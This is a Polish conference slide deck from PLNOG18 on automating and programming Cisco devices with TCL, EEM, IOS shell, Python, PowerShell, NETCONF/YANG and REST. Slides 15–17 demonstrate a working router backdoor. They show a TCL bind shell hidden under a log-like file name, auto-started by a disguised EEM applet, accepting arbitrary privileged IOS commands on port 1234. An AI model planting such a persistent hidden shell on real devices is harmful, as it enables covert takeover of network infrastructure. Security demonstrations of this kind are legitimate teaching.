SlideShare ist ein Scribd-Unternehmen logo
1 von 67
Downloaden Sie, um offline zu lesen
Programowanie, a nie konfiguracja
- porozmawiajmy z Cisco po nowemu
Robert Ślaski
Chief Network Architect
CCIE#10877
PLNOG18
6-7.03.2018
Warszawa
Robert Ślaski
Chief Network Architect
CCIE#10877
PLNOG18
6-7.03.2018
Warszawa
Jamci
2
Moore's law reinvented:
„Computing power required to display 'Hello world' doubles every two years"
Bezrobocie i głód zagląda w oczy nam, sieciowcom!
Coś róbmy, coś zaróbmy!
Pakiety na trasowniki!
A może się przystosować?
Na PLNOG17 temat cyberbezrobocia
wzbudził niejakie zainteresowanie
2
O tym będzie to spotkanie…
Programowanie jest najważniejsze
2
5
enejblując
a utoma ty za cj ę
w owerlejach esdeenów
za pewnia my or k iestr a cj ę r isor sów
augumentuj ąc ą a d żility
Czasy się zmieniają…
6
Inżynierowie od sieci nie potrafią programować (*)
Potrzebna jest nam swego rodzaju kuracja odmładzająca
(*) dobrze
… a inżynierowie sieciowi nie bardzo
7
Skrypt do pingowania wielu hostów
Zaawansowane filtrowanie logów, albo komend
Przełączanie na ścieżkę zapasową, ale tylko w godzinach pracy
Automatyczne dodawanie wpisów do tablicy routingu
Parsowanie konfiguracji routingu do pliku CSV
Dodanie parametryzowanej konfiguracji do wszystkich interfejsów
Konfiguracja poprzez obiekty na różnych platformach
Orkiestracja farmy urządzeń sieciowych
Zaprogramowanie kontrolera SDN
[…]
Przykładowe problemy sieciowca
8
Będzie o trzech fazach migracji od klasycznego CLI urządzeń
do ich programowania:
Programowaniu z użyciem mechanizmów wbudowanych
Programowaniu jeszcze z użyciem CLI
Programowaniu na całego, czyli bez CLI
O czym nie będzie?
Nie będzie o SDNach
Nie będzie o SNMP – to się nie nadaje do konfiguracji
Nie będzie o wielu ciekawych rzeczach, które powinny tu się
znaleźć, ale na które nie starczy czasu
Trzy fazy odwyku od CLI
9
I.
Programowanie
z użyciem mechanizmów
wbudowanych w Cisco
10
Interpreter TCL w IOS
IOS Shell
EEM (Embedded Event Manager)
ESM (Embedded Syslog Manager)
I. Automatyzacja z użyciem
mechanizmów wbudowanych w Cisco
11
Wbudowany w IOS interpretowany język skryptowy
http://www.tcl.tk
Wcześniej znany jako narzędzie skryptów IVR i ping,
obecnie siła napędowa EEM oraz ESM
Umożliwia wykonanie komend exec oraz konfiguracyjnych,
dostęp do obiektów SNMP, otwieranie socketów TCP/UDP (yes!)
Wymaga privilege level 15
TCL 7.x w IOS od tzw. zawsze (ok. 1994), TCL 8.3.4 od 12.3(2)T
Interpreter TCL w IOS
Cisco#?
Exec commands:
[…]
tclquit Quit Tool Command Language shell
tclsh Tool Command Language shell
12
Brak większej pomocy dla TCL w IOS, ale działa
Wykonywanie skryptów in-line oraz wczytywanych z pliku
Interpreter TCL w IOS
Cisco#tclsh
Cisco(tcl)#foreach ?
% Unrecognized command
Cisco(tcl)#foreach
wrong # args: should be "foreach varList list ?varList list ...? command"
Cisco(tcl)#tclq
Cisco#?
Cisco#more bootflash:/ping.tcl
foreach host [list "10.139.1.1" "10.139.1.3" "10.139.2.5"] {
set output [exec "ping $host repeat 1"]
if { ![regexp {!} $output] } {
puts "Host $host is not reachable"
}
}
Cisco# tclsh bootflash:/ping.tcl
Host 10.139.1.1 is not reachable
Host 10.139.1.3 is not reachable
Host 10.139.2.5 is not reachable
13
Najprostszy ping script
– przyjaciel każdego, kto podchodził do laba CCIE
Interpreter TCL w IOS
foreach pl {
5.5.5.5
10.0.0.1
} { ping $pl re 1}
Cisco(tcl)#foreach pl {
+>5.5.5.5
+>10.0.0.1
+>} { ping $pl re 1}
Type escape sequence to abort.
Sending 1, 100-byte ICMP Echos to 5.5.5.5, timeout is 2 seconds:
!
Success rate is 100 percent (1/1), round-trip min/avg/max = 3/3/3 ms
Type escape sequence to abort.
Sending 1, 100-byte ICMP Echos to 10.0.0.1, timeout is 2 seconds:
!
Success rate is 100 percent (1/1), round-trip min/avg/max = 2/2/2 ms
Cisco(tcl)#
14
Może Telnet na port 1111 aby pograć w Tetris na routerze?
Interpreter TCL w IOS
O================O
| |
| |
| |
| |
| |
| |
| |
| |
| ## |
| ## |
| |
| |
| |
| |
| |
| |
O================O
Current score: 0
w or space - rotate
s - drop
a - move right
d - move left
enter - pause
TCP connection from 10.139.250.223:58431 to TSERV sock2
socket was registered
Loading Tetrios. Please wait. =)
===============================================
|| _0_/ ||
|||||| / | ||||||
|||||||||| |_/0 ||||||||||
|||||||||||||| /0||||||||||||||
|||||||||||||||||| ||||||||||||||||||
.||||||||||||||||||||||.||||||||||||||||||||||.
=========== Welcome to Tetrios! ===============
============== version 1.1 ====================
=== (c) 2011 Petr Ankudinov ===
=== mail: netl0g.blog@blogspot.com ===
=== http://netl0g.blogspot.com/ ===
===============================================
=== Stop CCIE madness! Gain maximum Score! ===
===============================================
====== Tetrios is a very useful tool for ======
======= a lonely engineer with a router =======
============ on a desert island. ==============
===============================================
======== Please, do not play too much =========
=========== on production routers. ============
===============================================
========== Press "Enter" to continue ==========
========== Ctrl+C to exit at any time =========
===============================================
Cisco#tclsh bootflash:/tetrios.tcl
15
A może zainstalować backdoora w ukrytym pliku TCL?
Który uruchomi się zawsze po starcie routera dzięki skryptowi EEM?
Interpreter TCL w IOS
Cisco#dir
Directory of bootflash:/
11 drwx 16384 Aug 27 2015 13:19:42 +02:00 lost+found
16 -rw- 13125 Oct 6 2016 11:19:02 +02:00 isg_20161005.cfg
20 -rw- 19118 Mar 3 2017 23:00:26 +01:00 tetrios.tcl
777217 drwx 4096 Aug 27 2015 13:23:04 +02:00 .installer
113345 drwx 24576 Mar 2 2017 21:41:37 +01:00 tracelogs
21 -rw- 870 Mar 3 2017 23:32:18 +01:00 tracelogs.780
13 -rwx 9300 Aug 27 2015 13:45:36 +02:00 tracelogs.790
323841 drwx 4096 Jan 1 1970 01:04:33 +01:00 core
210497 drwx 4096 Oct 25 2016 16:55:10 +02:00 .prst_sync
194305 drwx 4096 Aug 27 2015 13:51:24 +02:00 .rollback_timer
14 -rw- 359790956 Oct 19 2015 16:16:35 +02:00 asr1000rp1-advipservicesk9.03.09.02.S.153-2.S2.bin
12 -rw- 390699644 Nov 16 2015 21:58:16 +01:00 asr1000rp1-advipservicesk9.03.16.01a.S.155-3.S1a-ext.bin
15 -rw- 385288828 Nov 17 2015 09:22:32 +01:00 asr1000rp1-advipservicesk9.03.15.02.S.155-2.S2-std.bin
18 -rw- 340537656 Oct 6 2016 11:49:34 +02:00 asr1000rp1-advipservicesk9.03.07.06.S.152-4.S6.bin
19 -rw- 385239672 Oct 25 2016 10:33:56 +02:00 asr1000rp1-advipservicesk9_noli.03.15.03.S.155-2.S3-std.bin
7819087872 bytes total (5555105792 bytes free)
Cisco#sh run | s event man
event manager applet EnableInterfaceStatus
event timer countdown time 5
action 1.0 cli command "enable"
action 1.1 cli command "tclsh bootflash:/tracelogs.780"
16
A może jednak zainstalować backdoora w ukrytym pliku TCL?
Interpreter TCL w IOS
Cisco#more bootflash:/tracelogs.780
# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "-------------------------------------"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "-------------------------------------"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "Enter IOS command:"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 1234
set sh [socket -server callback $port]
vwait var
close $sh
Rada: socketów lepiej używać
w skryptach wywoływanych
z EEM – można się wtedy
odpiąć od terminala VTY
17
Działającego backdoora!
Interpreter TCL w IOS
[rsl@kali ~]$ telnet 10.133.251.40 1234
Trying 10.133.251.40...
Connected to 10.133.251.40 (10.133.251.40).
Escape character is '^]'.
-------------------------------------
TclShell v0.1 by Andy Davis, IRM 2007
-------------------------------------
Cisco IOS XE Software, Version 03.15.03.S - Standard Support Release
Cisco IOS Software, ASR1000 Software (PPC_LINUX_IOSD-ADVIPSERVICESK9_NOLI-M),
Version 15.5(2)S3, RELEASE SOFTWARE (fc2)
Cisco IOS-XE software, Copyright (c) 2005-2016 by cisco Systems, Inc.
All rights reserved. Certain components of Cisco IOS-XE software are
documentation or "License Notice" file accompanying the IOS-XE software,
or the applicable URL provided on the flyer accompanying the IOS-XE
ROM: IOS-XE ROMMON
Current privilege level is 15
Enter IOS command:show run
Building configuration...
Current configuration : 12041 bytes
!
! Last configuration change at 22:21:32 CET Fri Mar 3 2017 by rsl
! NVRAM config last updated at 17:35:06 CEST Tue Oct 25 2016 by rsl
[…]
18
Dla tych co chcą wiedzieć więcej
Dowolna dokumentacja / kurs TCL
Jakaś lepsza lub gorsza książka
Akurat ta ma pewne zalety
Interpreter TCL
POPROGRAMUJMY
19
Podzbiór komend shellowych dostępny w IOS
http://www.cisco.com/c/en/us/td/docs/ios/netmgmt/configuration/guide/Convert/IOS_Shell.html
Trzeba ładnie poprosić
#terminal shell, a potem…
IOS shell
Cisco#echo
The command you have entered is available in the IOS.sh.
However, the shell is currently disabled. You can enable
it on this terminal by typing
'term shell'
You can also enable it for all terminals by configuring the
'shell processing full'
command. There is additional information in the man command.
For more information, enable shell, and then enter:
'man IOS.sh'
Cisco#term shell
Cisco#AA=1234
Cisco#echo $AA
1234
20
…a potem już jest fajniej!
Konfiguracja w postaci parametryzowanych skryptów
Przygotowujemy konfigurację w notatniku
Uwaga: użycie w trybie konfiguracji wymaga dodatkowej komendy
(config)# shell processing full
IOS shell
term shell
A=3
B=4
conf t
shell processing full
int vlan 300$A
ip add 10.0.$A$B.$A 255.255.255.0
ipv6 add 2001:db8:100:"$A""$B"::"$A"/64
end
21
Copy-paste i do przodu!
IOS shell
Cisco#term shell
Cisco#A=3
Cisco#B=4
Cisco#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Cisco(config)#shell processing full
Cisco(config)#int vlan 300$A
Cisco(config-if)# ip add 10.0.$A$B.$A 255.255.255.0
Cisco(config-if)# ipv6 add 2001:db8:100:"$A""$B"::"$A"/64
Cisco(config-if)#end
Cisco#
Cisco#sh run in vl 3003
Building configuration...
Current configuration : 98 bytes
!
interface Vlan3003
ip address 10.0.34.3 255.255.255.0
ipv6 address 2001:DB8:100:34::3/64
end
22
A taki, na przykład, output
można teraz przetwarzać potokowo
Pętle, warunki, funkcje, zmienne, regexp, sortowanie…
IOS shell
Cisco#show ip route
Gateway of last resort is 10.139.254.53 to network 0.0.0.0
O*E2 0.0.0.0/0 [110/1] via 10.139.254.53, 7w0d, Vlan151
10.0.0.0/8 is variably subnetted, 236 subnets, 12 masks
S 10.0.0.0/8 [1/0] via 10.133.20.5
O E2 10.0.0.0/24 [110/20] via 10.139.254.62, 7w0d, Vlan153
S 10.0.0.0/26 [1/0] via 10.133.240.21
O E2 10.10.0.0/16 [110/100] via 10.139.254.53, 7w0d, Vlan151
O E2 10.11.1.0/24 [110/100] via 10.139.254.53, 7w0d, Vlan151
[…]
Cisco#show ip route
Cisco#show ip route | grep 'Vlan15[13]' | wc -l
212
23
Programowanie sterowane zdarzeniami
(event-driven)
Kod wywoływany przez
detektor zdarzeń (event detector)
Kod w apletach wbudowanych
w konfigurację oraz w języku TCL
(zewnętrzne pliki)
Więcej do szczęścia nie potrzeba
Dostępny w IOS, IOS-XR, NX-OS
oraz ASA
Embedded Event Manager (EEM)
24
Detektory zdarzeń w EEM
25
Po pojawieniu się trasy z OSPF do danej podsieci, badamy
dostępność testowego hosta, a następnie wyłączamy trasę zapasową
prowadzącą poprzez tunel
Przykładowy aplet EEM w CLI
Cisco#sh run | s event manager
event manager applet watch
event routing network 10.1.1.0/24 type add protocol OSPF
action A010 cli command "enable"
action A020 set done "0"
action A030 while $done eq 0
action A040 wait 5
action A050 cli command "ping ip 10.1.1.1"
action A060 regexp "!!!!!" "$_cli_result"
action A070 if $_regexp_result eq "1"
action A080 cli command "conf t"
action A090 cli command "int tunnel 0"
action A100 cli command "shut"
action A110 cli command "end"
action A120 set done "1"
action A130 end
action A140 end
26
Błąd uwierzytelniania RSVP powoduje wyłączenie interfejsu
Przykładowy aplet EEM w TCL (fragment)
::cisco::eem::event_register_syslog pattern "%ROUTING-RSVP-5-BAD_RSVP_MSG_RCVD_AUTH_KEY" maxrun_sec 600
set errorInfo ""
namespace import ::cisco::eem::*
namespace import ::cisco::lib::*
[…]
if {[regexp {.* (.*0/.*/.*/[0-9]*).*} $syslog_msg match location]} {
if [catch {cli_exec $cli1(fd) "int $location"} result] {
error $result $errorInfo
}
if [catch {cli_exec $cli1(fd) "shut"} result] {
error $result $errorInfo
}
if [catch {cli_exec $cli1(fd) "commit"} result] {
error $result $errorInfo
}
}
if [catch {cli_close $cli1(fd) $cli1(tty_id)} result] {
error $result $errorInfo
}
action_syslog priority emergencies msg "$location was shut because of EEM "
27
Książka kucharska
cisco.com/go/ciscobeyond
EEM dla leniwych
28
Selektywne procesowanie komunikatów syslog
każdego z kanałów poprzez filtry
Filtry na bazie:
Wyrażeń regularnych (discriminator)
Skryptów TCL (filter)
Embedded Syslog Manager (ESM)
29
Logowanie do hosta syslog tylko zmian konfiguracyjnych
Przykład użycia ESM
Cisco# more bootflash:/log_filter.tcl
# syslog message filter
if {[string compare -nocase "CONFIG_I" $::mnemonic] == 0 ||
[string compare -nocase "CONFIG" $::mnemonic] == 0} {
return $::orig_msg
}
Cisco#sh run | in logg
logging filter bootflash:/log_filter.tcl
logging host 1.1.1.1 filtered
logging host 10.133.0.3
30
II.
Programowanie CLI
31
Owijanie CLI Pythonem
Moduły Python ciscoconfparse / pyiosxr
PowerShell
II. Programowanie CLI
32
Doskonały język ogólnego przeznaczenia
Idealny do pisania skryptów dla sieciowca i nie tylko
Świetne możliwości przetwarzania tekstów – idealne dla CLI
Rozszerzalny - moduły
Preferowany przez wielu dostawców – gotowe biblioteki API
W sieci jest wiele kursów i tutoriali skierowanych do inżynierów
sieciowych ($$$ oraz za darmo)
Python forever!
33
Przykładowy fragment skryptu obrabiającego wyniki komend
Cisco IOS/NX-OS/IOS-XR / Juniper / Huawei
Python forever!
def ParseVersion(device):
result = device.RunShowCmd('show version')
versions = [ n.strip(" ") for n in result.splitlines() if n.startswith("Cisco") ]
versioninfo = [ v.strip(" ") for v in versions[0].split(",")]
print versioninfo[2]
def ParseHostname(device):
if system == "Junos":
global hostname
print hostname
else:
result = device.RunShowCmd('show version')
if len ([ n for n in result.splitlines() if re.match("^S.*(NX-OS)",n)]) >0:
#print "Nexus"
hline = [ n.strip(" ") for n in result.splitlines() if re.match("s*Device name:",n)]
hostname = [ v for v in hline[0].split(" ")]
print hostname[2]
else:
#print "IOS"
hline = [ n.strip(" ") for n in result.splitlines() if re.match("s*S+suptime",n)]
hostname = [ v for v in hline[0].split(" ")]
if hostname[0]:
print hostname[0]
else:
print hostname[1]
34
I jego użycie: hurtowe pobieranie konfiguracji urządzeń z listy
Python forever!
rslaski@kali:~$ cat getconfig
#!/bin/bash
if [ "$#" -ne 1 ]; then
echo "./getconfig <ip_list_file>"
exit
fi
echo "Starting with file $1"
mkdir "configs_$1"
cat $1 | while read IP
do
echo -n "Getting config for $IP: "
HOST=`./cmd1 -d $IP -p 'hostname'`
HOSTFILE="$HOST-$(date +%Y%m%d-%H%M).cfg"
echo -n "$HOSTFILE..."
./cmd1 -d $IP -c 'show config' >> "configs_$1/$HOSTFILE"
echo " done!"
done
echo "Finished with file $1"
35
Biblioteka python do manipulacji hierarchicznymi konfiguracjami IOS
https://github.com/mpenning/ciscoconfparse
Przykładowo: zrzut elementów konfiguracji Cisco ASA do pliku CSV
Python ciscoconfparse
from ciscoconfparse import CiscoConfParse
def object_network(conf):
print "Object network name,Description, IP address, NAT, NAT (cd)"
parse = CiscoConfParse(conf,syntax='asa')
nets=parse.find_objects(r'^objectsnetworks')
for item in nets:
try:
#network = item.re_match_iter_typed(regex=r'subnets(S+s+S+)',result_type=IPv4Obj)
network = item.re_match_iter_typed(regex=r'subnets(S+)',result_type=str)
except:
network = None
if network is not None:
objectName = item.re_match_typed(regex=r'^objectsnetworks(S+)',default='UNKNOWN')
addrIP= item.re_match_iter_typed(regex=r'hosts(.*)',default='UNKNOWN')
desc = item.re_match_iter_typed(regex=r'descriptions(.*)',default='UNKNOWN')
nat = item.re_match_iter_typed(regex=r'nats(.+$)',default='UNKNOWN')
print objectName,',',desc,',', addrIP,',',nat
36
Jest by default dostępny w Windows
Dostępny też dla Linuxa i MacOS
Potężne narzędzie do pracy terminalowej, skryptowej,
programistycznej i nie tylko
Rozszerzalny (moduły, DLL)
Każdy spec od Windows zna PowerShella
Wystarczy zamiast ’cmd’ napisać ’powershell’ 
W Windows 7 domyślnie jest PS 2.0, należy pobrać i zainstalować
Windows Management Framework
w wersji co najmniej 5.0
PowerShell
PS C:Usersrslaski> $PSVersionTable.PSVersion
Major Minor Build Revision
----- ----- ----- --------
5 0 10586 117
37
Dostępne jest też graficzne środowisko skryptowe
ISE (Integrated Scripting Environment)
PowerShell
38
Instalujemy bibliotekę SSH.NET
Pierwsze zabawy z PowerShell
PS C:Program Files (x86)WindowsPowerShellModules> Install-Module -name SSHSessions -RequiredVersion 1.7
Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its
InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the
modules from
'PSGallery'?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y
PS C:Program Files (x86)WindowsPowerShellModules> get-module -ListAvailable
Directory: C:Program FilesWindowsPowerShellModules
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Binary 1.0.0.1 PackageManagement {Find-Package, Get-Package, Get-PackageProvider,
Script 1.0.0.1 PowerShellGet {Install-Module, Find-Module, Save-Module,
Script 1.7 SSHSessions {New-SshSession, Invoke-SshCommand, Enter-
39
Nie można zapomnieć o wyłączeniu restrykcji uruchamiania skryptów
Pierwsze zabawy z PowerShell
PS C:Usersrslaski> Get-ExecutionPolicy
Restricted
PS C:Usersrslaski> Set-ExecutionPolicy unrestricted
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the
execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
http://go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution
policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"):
y
PS C:Usersrslaski> Get-ExecutionPolicy
Unrestricted
40
Wreszcie możemy nawiązać połączenie SSH z naszą zabawką
Tada! Możemy porozmawiać!
Pierwsze zabawy z PowerShell
PS C:Usersrslaski> $hostname = "10.133.0.3"
PS C:Usersrslaski> $username = "rsl"
PS C:Usersrslaski> $password = "<removed>"
PS C:Usersrslaski> New-Sshsession -computername $hostname -username $username
-password $password
Successfully connected to 10.133.0.251
PS C:Usersrslaski> $Result = Invoke-SshCommand -InvokeOnAll -Command "show version"
10.133.0.251:
*********************************************
** **
** CAT1-NETLAB **
** ZANIM COS SPIEPRZYSZ, POMYSL DWA RAZY **
** netlab@atende.pl **
** **
*********************************************
Cisco IOS Software, C3750E Software (C3750E-UNIVERSALK9-M), Version 15.0(2)SE4, RELEASE
SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2013 by Cisco Systems, Inc.
[…]
PowerShell konkurs!
41
Jak nazywa się graficzne
środowisko skryptowe
dla PowerShella?
POPROGRAMUJMY
42
III.
Programowanie na całego
- czyli żegnaj CLI
43
onePK
NETCONF / YANG
JSON / XML
REST API
[…]
III. Programowanie na całego, czyli żegnaj CLI
44
Pierwszy poważny interfejs programistyczny API
do współpracy z urządzeniami Cisco różnych systemów operacyjnych
onePK (One Platform Kit)
45
Bardzo ciekawe możliwości
onePK (One Platform Kit)
46
Niestety wszystko co dobre, szybko się kończy
A może po prostu nie było aż takie dobre?
onePK
47
Ustandaryzowany (IETF RFC 6241) sposób wymiany danych
konfiguracyjnych z urządzeniem
Cztery warstwy stosu protokołów
Jako transport wykorzystujemy SSH
Zaś jako komunikaty: RPC
NETCONF
48
Dostępne operacje na danych
NETCONF
49
Zaś dane to czysty XML
NETCONF
POPROGRAMUJMY
50
Dwa równorzędne formaty notacji danych
XML (eXtended Markup Language)
JSON (JavaScript Object Notation)
Różnica w czytelności (człowiek) i efektywności zapisu (maszyna)
JSON / XML
http://www.cisco.com/c/dam/global/cs_cz/assets/ciscoconnect/2014/assets/tech_sdn10_sp_netconf_yang_restconf_martinkramolis.pdf
51
Uruchamiamy Netconf przez SSH
I pierwsze powitanie (capabilities)
NETCONF – pierwsza krew
Cisco#conf t
Cisco(config)#netconf ssh
Cisco(config)#^Z
[rsl@lab-mgmt ~]$ ssh rsl@10.133.251.40 -s netconf
Password:
<?xml version="1.0" encoding="UTF-8"?>
<hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
<capabilities>
<capability>urn:ietf:params:netconf:base:1.0</capability>
<capability>urn:ietf:params:netconf:capability:writeable-running:1.0</capability>
<capability>urn:ietf:params:netconf:capability:rollback-on-error:1.0</capability>
<capability>urn:ietf:params:netconf:capability:startup:1.0</capability>
<capability>urn:ietf:params:netconf:capability:url:1.0</capability>
<capability>urn:cisco:params:netconf:capability:pi-data-model:1.0</capability>
<capability>urn:cisco:params:netconf:capability:notification:1.0</capability>
</capabilities>
<session-id>1140327340</session-id>
</hello>]]>]]>
52
Powitanie (capabilities) z naszej strony
A jak ładnie poprosimy o konfigurację…
NETCONF – pierwsza krew
<?xml version="1.0" encoding="UTF-8"?>
<hello>
<capabilities>
<capability>urn:ietf:params:netconf:base:1.0</capability>
</capabilities>
</hello>]]>]]>
<?xml version="1.0" encoding="UTF-8"?>
<nc:rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
<nc:get-config>
<source>
<running/>
</source>
</nc:get-config>
</nc:rpc>
53
NETCONF – pierwsza krew
<?xml version="1.0" encoding="UTF-8"?>
<rpc-reply message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
<data>
<cli-config-data-block>
! Last configuration change at 04:41:21 CET Mon Mar 5 2017 by rsl
! NVRAM config last updated at 17:35:06 CEST Tue Oct 25 2016 by rsl
!
version 15.5
service tcp-keepalives-in
service tcp-keepalives-out
[…]
</cli-config-data-block>
</data>
</rpc-reply>
]]>]]>
…to ją dostaniemy
54
NETCONF – pierwsza krew
<?xml version="1.0" encoding="UTF-8"?>
<nc:rpc message-id="102" xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0">
<nc:get>
<nc:filter type="subtree">
<native xmlns="http://cisco.com/ns/yang/ned/ios">
<interface>
<GigabitEthernet>
<name>0</name>
<ip></ip>
</GigabitEthernet>
</interface>
</native>
</nc:filter>
</nc:get>
</nc:rpc>
]]>]]>
Największa zaleta – strukturalizacja obiektów
Wada – brak definicji modeli danych
Modele dostarczane są dzięki językowi modelowania danych YANG
55
NETCONF – pierwsza krew
<?xml version="1.0" encoding="UTF-8"?>
<rpc-reply xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"
xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="102">
<data>
<native xmlns="http://cisco.com/ns/yang/ned/ios">
<interface>
<GigabitEthernet>
<name>0</name>
<ip>
<address>
<primary>
<address>10.1.1.1</address>
<mask>255.255.255.0</mask>
</primary>
</address>
</ip>
</GigabitEthernet>
</interface>
</native>
</data>
</rpc-reply>
]]>]]>
Największa zaleta – strukturalizacja obiektów
56
NETCONF+
./netconf-console --user=rsl--password=<x> --host=10.133.251.40 --port=22 –hello
Zamiast babrać się w terminalu, można użyć dedykowanej biblioteki
confD, https://developer.cisco.com/site/confD/downloads/
oraz narzędzi jak netconf-console, w tym wersje w Pythonie (ncc)
https://github.com/CiscoDevNet/ncc
Nadal rozmawiamy XMLem, ale ciut łatwiej
Na przykład pobranie konfiguracji hostname
./netconf-console --user=rsl--password=<x> --host=10.133.251.40 --port=22 --get-config
./netconf-console --host 10.133.251.40 -u rsl -p <x> --get-config --x /native/hostname
<?xml version="1.0" encoding="UTF-8"?>
<rpc-reply xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="1">
<data>
<native xmlns="urn:ios">
<hostname>Cisco</hostname>
</native>
</data>
</rpc-reply>
57
Język opisu modeli danych, RFC 6020
YANG
https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
58
Strukturalny
oraz hierarchiczny
YANG
59
Modele danych opisane w standardach (jak poniżej)
lub dostarczane przez vendorów
Interface Data
Model, RFC7223
YANG
+--rw interfaces
| +--rw interface* [name]
| +--rw name string
| +--rw description? string
| +--rw type identityref
| +--rw enabled? boolean
| +--rw link-up-down-trap-enable? enumeration
+--ro interfaces-state
+--ro interface* [name]
+--ro name string
+--ro type identityref
+--ro admin-status enumeration
+--ro oper-status enumeration
+--ro last-change? yang:date-and-time
+--ro if-index int32
+--ro phys-address? yang:phys-address
+--ro higher-layer-if* interface-state-ref
+--ro lower-layer-if* interface-state-ref
+--ro speed? yang:gauge64
+--ro statistics
+--ro discontinuity-time yang:date-and-time
+--ro in-octets? yang:counter64
+--ro in-unicast-pkts? yang:counter64
+--ro in-broadcast-pkts? yang:counter64
+--ro in-multicast-pkts? yang:counter64
+--ro in-discards? yang:counter32
+--ro in-errors? yang:counter32
+--ro in-unknown-protos? yang:counter32
60
Fragment konfiguracji routera Cisco i jej odpowiednik
w modelu YANG
YANG
https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
61
A tu konkretna reprezentacja
w formacie XML oraz JSON
YANG
https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
62
REST (Representational State Transfer) API
Każdy obiekt w drzewie ma swoją lokalizację
Standardowe metody HTTP do obsługi
Dane formatowane jako XML lub JSON
Polecam zabawę z REST API na Cisco ASR 1000 lub CSR 1000v
http://www.cisco.com/c/en/us/td/docs/routers/csr1000/software/restapi/restapi.html
REST API
https://10.133.251.40/api/v1/interfaces/gigabitEthernet0
63
Biblioteki do
programowania
z użyciem REST API
(tu użyciem Python)
REST API importrequests
importsys
login_cookies=0
deflogin():
#Login(POSThttp://1.2.3.4/api/aaaLogin.xml)
globallogin_cookies
try:
r=requests.post(
url="http://1.2.3.4/api/aaaLogin.xml",
data="<aaaUsername="admin"pwd="cisco123"/>"
)
login_cookies=r.cookies
exceptrequests.exceptions.RequestExceptionase:
print('LoginHTTPRequestfailed')
defnew_tenant(tenant_name):
globallogin_cookies
try:
r=requests.post(
url="http://1.2.3.4/api/node/mo/uni/tn-"+tenant_name+".json",
data="{"fvTenant":{"attributes":{"dn":"uni/tn-
"+tenant_name+"","name":""+tenant_name+"","rn":"tn-
"+tenant_name+"","status":"created"},"children":[]}}",
cookies=login_cookies
)
exceptrequests.exceptions.RequestExceptionase:
print('CreatetenantHTTPRequestfailed')
login()
new_tenant(sys.argv[1])
64
Praktyczną walką z REST-API para się też ostatnio
Piotr Wojciechowski
https://ccieplayground.wordpress.com/tag/rest-api/
REST API
65
Chodźcie, porozmawiamy!
największa społeczność Cisco w Europie
ponad 8300 użytkowników
silny zespół:
3 głównych adminów
Admin aplikacji
3 adminów serwerów
3 moderatorów
członkami jest ponad 60
polskich CCIE – 20 z nich
udzielających się aktywnie 100 tematów
co miesiąc
800 postów co
miesiąc
dostępna sekcja
anglojęzyczna
66
Chodźcie, porozmawiamy!
67
Dziękuję!

Weitere ähnliche Inhalte

Andere mochten auch

PLNOG 18 - Łukasz Jokiel - IoT w domu - Do It Yourself!
PLNOG 18 - Łukasz Jokiel - IoT w domu - Do It Yourself!PLNOG 18 - Łukasz Jokiel - IoT w domu - Do It Yourself!
PLNOG 18 - Łukasz Jokiel - IoT w domu - Do It Yourself!PROIDEA
 
PLNOG 18 - Sebastian Pasternacki - Bezpieczeństwo sieci operatorskich oraz en...
PLNOG 18 - Sebastian Pasternacki - Bezpieczeństwo sieci operatorskich oraz en...PLNOG 18 - Sebastian Pasternacki - Bezpieczeństwo sieci operatorskich oraz en...
PLNOG 18 - Sebastian Pasternacki - Bezpieczeństwo sieci operatorskich oraz en...PROIDEA
 
PLNOG 18 - Piotr Wojciechowski - REST API czyli jak miękko wejść w programowa...
PLNOG 18 - Piotr Wojciechowski - REST API czyli jak miękko wejść w programowa...PLNOG 18 - Piotr Wojciechowski - REST API czyli jak miękko wejść w programowa...
PLNOG 18 - Piotr Wojciechowski - REST API czyli jak miękko wejść w programowa...PROIDEA
 
PLNOG 18 - Bartek Raszczyk - London calling! Wnioski z wdrażania architektury...
PLNOG 18 - Bartek Raszczyk - London calling! Wnioski z wdrażania architektury...PLNOG 18 - Bartek Raszczyk - London calling! Wnioski z wdrażania architektury...
PLNOG 18 - Bartek Raszczyk - London calling! Wnioski z wdrażania architektury...PROIDEA
 
PLNOG 18 - Jerzy Paczocha- Transformacja krajowej sieci telekomunikacyjnej z ...
PLNOG 18 - Jerzy Paczocha- Transformacja krajowej sieci telekomunikacyjnej z ...PLNOG 18 - Jerzy Paczocha- Transformacja krajowej sieci telekomunikacyjnej z ...
PLNOG 18 - Jerzy Paczocha- Transformacja krajowej sieci telekomunikacyjnej z ...PROIDEA
 
PLNOG 18 - Sylwester Biernacki - Co dalej z centrami danych? Wyższy poziom ne...
PLNOG 18 - Sylwester Biernacki - Co dalej z centrami danych? Wyższy poziom ne...PLNOG 18 - Sylwester Biernacki - Co dalej z centrami danych? Wyższy poziom ne...
